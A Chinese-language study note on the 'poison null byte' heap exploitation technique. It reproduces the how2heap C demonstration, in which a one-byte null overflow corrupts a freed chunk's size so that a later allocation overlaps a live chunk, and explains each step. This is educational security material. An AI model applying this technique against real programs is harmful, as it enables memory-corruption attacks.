poison null byte
poison null byte
想法
这个好像是off_by_one的用法之一,目的是为了通过改变堆大小使得指针重叠,从而造成可用堆的一部分在bin中。
样例解析
from how2heap
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);
barrier = malloc(0x100);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
*(size_t*)(b+0x1f0) = 0x200;
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
b2 = malloc(0x80);
printf("b2: %p\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
assert(strstr(b2, "DDDDDDDDDDDD"));
}
解释
- 创建了三个块a,b,c和一个barrier为了防止合并
- 对chunk b的最后构造了一个假的prev_size,设置为0x200,此时c的prev_size并没有被改变
- 把b给free了
- 利用chunk a的off_by_one将b的大小那一块从0x211改成0x200
- 创建b1,这时候会修改假的prev_size的大小(因为b现在被认为是只有0x200的大小了)
- 创建b2,注意b2+b1的大小应该<=0x200-0x20,因为如果unsorted bin中剩下的空间小于0x20就不会被划分了
而后把b1给free掉,并且free掉c,这时候出现了问题:
- 刚刚创建b1和b2修改的是假的prev_size,但是在free(c)的时候是用的真的,那个prev_size是整个b的大小
- 并且由于b,c相连,并且b1(b)确实被free了,所以会发生unlink,把整个b合并掉
- 申请一个比较大的块,这时候会包含b2(因为切割的是b和c合并后的块)
- 于是出现了b2有两个指针可写的问题,可以进行攻击!